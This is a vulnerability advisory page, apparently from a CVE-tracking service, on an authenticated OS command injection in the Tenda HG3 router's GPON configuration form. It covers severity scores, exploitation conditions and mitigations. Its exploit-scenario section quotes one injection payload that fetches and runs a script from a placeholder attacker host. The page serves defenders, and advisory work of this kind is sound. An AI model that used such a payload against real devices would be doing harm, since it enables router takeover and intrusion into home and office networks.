Skip to main content

Tenda HG3 EUVDEUVD-2026-25786

| CVE-2026-7096 HIGH
OS Command Injection (CWE-78)
2026-04-27 VulDB
7.4
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain router credentials via brute force or credential stuffing
  2. Delivery
    Authenticate to web admin interface
  3. Exploit
    Navigate to /boaform/admin/formgponConf
  4. Execution
    Inject OS commands in fmgpon_loid parameter
  5. Persist
    Execute arbitrary code as root
  6. Impact
    Deploy persistent backdoor or pivot to LAN

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Valid administrative credentials to the Tenda HG3 router web interface are required (CVSS PR:L indicates low-privilege authentication). The router's administrative interface must be network-accessible to the attacker, either exposed to the internet or reachable after initial network compromise. The GPON configuration function (formgponConf) must be enabled and accessible at /boaform/admin/formgponConf, which is typically the default state in devices using GPON fiber optic connections. No special network conditions, user interaction (UI:N), or non-default configurations are required beyond authentication. Limiting factors that reduce exploitation likelihood: many Tenda HG3 routers may have management interfaces restricted to local network access only by default; ISP-managed devices may use non-default credentials; and the specific GPON configuration feature may not be exposed in all deployment scenarios depending on whether fiber optic (GPON) connectivity is used versus other WAN technologies.

Impact

Real-world risk is MODERATE-HIGH with important qualifications. CVSS 7.4 indicates high confidentiality, integrity, and availability impact (VC:H/VI:H/VA:H) with network attack vector (AV:N) and low complexity (AC:L), but critically requires low-privilege authentication (PR:L), meaning attackers need valid router credentials. CVSS 4.0 threat metric E:P confirms proof-of-concept exploitation exists. Public exploit availability substantially increases risk to organizations with weak router passwords or credential reuse. However, exploitation is NOT confirmed in CISA KEV, suggesting attacks remain opportunistic rather than widespread campaigns. EPSS data not provided for assessment. Primary risk scenarios: (1) credential stuffing attacks against exposed management interfaces, (2) lateral movement after initial network compromise, (3) supply chain attacks if default credentials unchanged. The requirement for authentication significantly reduces attack surface compared to unauthenticated command injection, but publicly available exploit code enables even low-skill attackers who obtain credentials through phishing, brute force, or leaked default passwords.

Exploit ScenarioDerived

An attacker performs credential stuffing attacks against internet-exposed Tenda HG3 router administrative interfaces using lists of default or commonly reused passwords. Upon successful authentication with low-privilege credentials (PR:L), the attacker accesses the GPON configuration page at /boaform/admin/formgponConf and injects shell metacharacters and commands into the fmgpon_loid parameter (e.g., '; wget http://attacker.com/malware.sh -O /tmp/m && sh /tmp/m;'). The vulnerable formgponConf function executes the injected command with router system privileges, allowing the attacker to download and execute malicious scripts, establish persistent backdoors, exfiltrate router configuration including ISP credentials, or pivot to attack other devices on the local network. Public exploit code detailed at https://www.notion.so/Tenda-HG3-3250c75766a880c7b50fde0466557c5f provides attack automation.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Apr 27, 2026

OS command injection in Tenda HG3 router version 2.0 (build 300003070) allows authenticated remote attackers to execute arbitrary system commands with router privileges via the fmgpon_loid parameter in the formgponConf administrative function. Public exploit code is available and confirmed usable for attacks per VulDB reporting, significantly lowering the skill barrier for exploitation despite requiring valid administrative credentials.

Earlier versions of this analysis (1)
v1 Apr 27, 2026 - 07:45 CVSS 8.8

OS command injection in Tenda HG3 firmware version 2.0.300003070 allows authenticated remote attackers to execute arbitrary system commands via the fmgpon_loid parameter in the formgponConf administrative function. The vulnerability requires low-privilege authentication but presents critical risk as a public proof-of-concept exploit exists (documented on Notion platform) that demonstrates remote command execution achieving full system compromise (high confidentiality, integrity, and availability impact per CVSS vector). EPSS data not available, not listed in CISA KEV, but publicly documented exploit code significantly lowers exploitation barrier for internet-exposed devices with default or weak administrative credentials.

RemediationAI

Check Tenda support site (https://www.tenda.com.cn/) for firmware updates beyond version 2.0 build 300003070, though no vendor-released patch is confirmed in available data at time of analysis. If firmware updates are unavailable or delayed, implement these compensating controls with noted trade-offs: (1) Disable remote administrative access to the router web interface and restrict management to local network only (reduces usability for remote management but eliminates network attack vector); (2) Change default administrative credentials to strong unique passwords exceeding 16 characters (mitigates credential stuffing but requires user action); (3) Implement network segmentation to isolate the vulnerable router from critical assets (limits lateral movement post-compromise but requires network redesign); (4) Deploy intrusion detection signatures monitoring for command injection patterns in HTTP POST requests to /boaform/admin/formgponConf (provides detection but not prevention); (5) If GPON configuration is not actively used, disable or restrict access to the formgponConf function through router configuration if possible (eliminates attack surface but may impact ISP-managed GPON features). Monitor VulDB entries https://vuldb.com/vuln/359671 and vendor advisories for patch availability.

Affected VersionsENISA

HG3 2.0 300003070

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the GPON (Gigabit Passive Optical Network) configuration interface of Tenda HG3 routers, specifically in the formgponConf function accessible at /boaform/admin/formgponConf. The flaw is a classic OS command injection (CWE-78) where unsanitized user input from the fmgpon_loid parameter (GPON Logical ONU ID) is passed directly to a system shell command. The affected product is identified by CPE cpe:2.3:a:tenda:hg3:*:*:*:*:*:*:*:* version 2.0 build 300003070. GPON optical network terminals typically run embedded Linux systems with limited input validation in web administration interfaces, making them frequent targets for command injection attacks. The administrative web interface uses the BOA web server, a lightweight HTTP server common in embedded devices.

Know when Hg3 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 7.4 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Primary rating from Vendor (VulDB) · only source for this CVE.

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

4
PoC Detected
Apr 30, 2026 - 16:18 vuln.today
Public exploit code
Analysis Updated
Apr 27, 2026 - 08:28 vuln.today
v2 - CVSS changed
CVSS changed
Apr 27, 2026 - 08:22 NVD
8.8 (HIGH) 7.4 (HIGH)
CVE Published
Apr 27, 2026 - 06:45 nvd
HIGH 7.4

DescriptionCVE.org

A security flaw has been discovered in Tenda HG3 2.0 300003070. This vulnerability affects the function formgponConf of the file /boaform/admin/formgponConf. The manipulation of the argument fmgpon_loid results in os command injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.

Executive ViewAI

Why It Matters

CVE-2026-7096 is a command injection vulnerability in Tenda HG3 routers (v2.0 build 300003070) that permits authenticated administrators to execute arbitrary system commands with full router privileges. Organizations operating this router model face insider threat risk and compromised-credential scenarios where attackers with administrative access can seize complete control of network infrastructure; this is critical for enterprises relying on Tenda equipment for branch office or customer-facing connectivity.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict administrative web console access to specific IP ranges or VPN-only; (2) Enforce strong, unique administrative credentials and rotate regularly; (3) Disable remote administration and require in-band management only; (4) Enable and monitor all diagnostic and administrative logs for suspicious formgponConf function calls; (5) Implement network access controls limiting management traffic to trusted administrative subnets; (6) Monitor for unauthorized configuration changes via configuration backup and periodic audits.

Threat Intelligence Overview

EPSS Score
0.3%
Top 48% exploitable
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

57
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +37
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy